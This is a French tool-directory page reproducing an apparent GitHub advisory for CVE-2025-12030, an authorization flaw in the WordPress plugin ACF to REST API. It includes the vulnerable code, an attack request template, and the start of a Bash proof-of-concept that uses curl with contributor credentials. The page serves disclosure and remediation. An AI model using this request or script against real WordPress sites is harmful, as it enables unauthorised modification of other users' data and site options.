Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-12030 — ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Faille de sécurité permettant aux utilisateurs authentifiés avec un accès de niveau Contributeur de modifier les champs ACF sur des objets qu'ils ne possèdent pas. | Kitploit
Outils/GitHubGitHub/snailsploit/cve-2025-12030
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Faille de sécurité permettant aux utilisateurs authentifiés avec un accès de niveau Contributeur de modifier les champs ACF sur des objets qu'ils ne possèdent pas.

Voir le dépôt
16il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-12030 : Référence directe à un objet non sécurisée dans le plugin WordPress ACF to REST API

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

Mots-clés : CVE-2025-12030, vulnérabilité ACF to REST API, IDOR, sécurité WordPress, exploitation authentifiée, vulnérabilité de plugin WordPress, CWE-639, modification de champs ACF, contournement d'autorisation, CVE WordPress 2025, Advanced Custom Fields, sécurité REST API

Table des matières

  • Vue d'ensemble
  • Détails de la vulnérabilité
  • Analyse technique
  • Vecteur d'attaque
  • Preuve de concept
  • Guide de correction
  • Détection
  • Métriques CVSS
  • Références
  • Crédits
  • Contact sécurité

Vue d'ensemble

Vulnérabilité IDOR du plugin WordPress ACF to REST API (CVE-2025-12030) - Défaut de sécurité permettant à des utilisateurs authentifiés disposant d'un accès Contributeur de modifier des champs ACF sur des objets qu'ils ne possèdent pas.

Une vulnérabilité de Référence directe à un objet non sécurisée (IDOR) a été découverte dans le plugin WordPress ACF to REST API, permettant à des attaquants authentifiés disposant de privilèges minimaux de modifier des champs ACF sur l'ensemble de l'installation WordPress.

Découvert par : Kai Aizen (SnailSploit)
Publié le : 6 janvier 2026
Score CVSS : 4.3 (Moyen)
CWE : CWE-639 - Contournement d'autorisation par clé contrôlée par l'utilisateur
Plugin : ACF to REST API
Identifiant du plugin : acf-to-rest-api
Type d'attaque : Référence directe à un objet non sécurisée (IDOR)
Privilèges requis : Contributeur+ (attaque authentifiée)

Détails de la vulnérabilité

Description

Le plugin ACF to REST API pour WordPress est vulnérable à une Référence directe à un objet non sécurisée dans toutes les versions jusqu'à la version 3.3.4 incluse. Cela est dû à des vérifications de capacités insuffisantes dans la méthode update_item_permissions_check(), qui vérifie uniquement que l'utilisateur actuel possède la capacité edit_posts sans vérifier les permissions spécifiques à l'objet (par exemple, edit_post($id), edit_user($id), manage_options).

Impact

Cette vulnérabilité permet aux attaquants authentifiés disposant d'un accès Contributeur et supérieur de :

  • Modifier les champs ACF sur des publications qu'ils ne possèdent pas - Contournement des restrictions de propriété des publications
  • Modifier les champs ACF sur n'importe quel compte utilisateur - Y compris les comptes administrateurs
  • Modifier les champs ACF sur les commentaires - Altération des métadonnées des commentaires
  • Modifier les champs ACF sur les termes de taxonomie - Modification des champs personnalisés des catégories/étiquettes
  • Modifier la page d'options globale - Accès aux options ACF à l'échelle du site sans la capacité manage_options

Toutes les modifications sont possibles via les points de terminaison REST API /wp-json/acf/v3/{type}/{id}.

Versions affectées

  • Vulnérables : Toutes les versions ≤ 3.3.4
  • Corrigé : ⚠️ Aucun correctif connu disponible

Métriques CVSS v3.1```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

| Métrique | Valeur |
|--------|-------|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité de l'attaque | Faible (AC:L) |
| Privilèges requis | Faible (PR:L) |
| Interaction utilisateur | Aucune (UI:N) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Aucune (C:N) |
| Intégrité | Faible (I:L) |
| Disponibilité | Aucune (A:N) |

**Détail CVSS v3.1 :**

- **Vecteur d'attaque (AV) :** Réseau – La vulnérabilité peut être exploitée à distance sur un réseau
- **Complexité de l'attaque (AC) :** Faible – Aucune condition spéciale n'est requise pour l'exploitation
- **Privilèges requis (PR) :** Faible – Nécessite une authentification de niveau Contributeur
- **Interaction utilisateur (UI) :** Aucune – L'exploitation fonctionne sans aucune interaction utilisateur
- **Périmètre (S) :** Inchangé – La vulnérabilité n'affecte que le composant vulnérable
- **Impact sur la confidentialité (C) :** Aucun – Aucune divulgation d'informations
- **Impact sur l'intégrité (I) :** Faible – Modification non autorisée des champs ACF
- **Impact sur la disponibilité (A) :** Aucun – Aucun impact sur la disponibilité

## Détails techniques

### Cause racine de la vulnérabilité

La vulnérabilité réside dans la méthode `update_item_permissions_check()` qui effectue une autorisation insuffisante :```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

L'implémentation appropriée devrait vérifier les permissions spécifiques aux objets :```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

### Points de terminaison vulnérables

| Point de terminaison | Cible | Capacité requise (devrait être) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Articles | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Pages | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Utilisateurs | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Commentaires | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Termes | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Options | `manage_options` |

### Vecteur d'attaque```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

The vulnerability can be exploited through the WordPress REST API by any authenticated user with at least Contributor role.

Proof of Concept

⚠️ Uniquement à des fins éducatives et de tests autorisés

PoC Bash```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Télécharger l’outil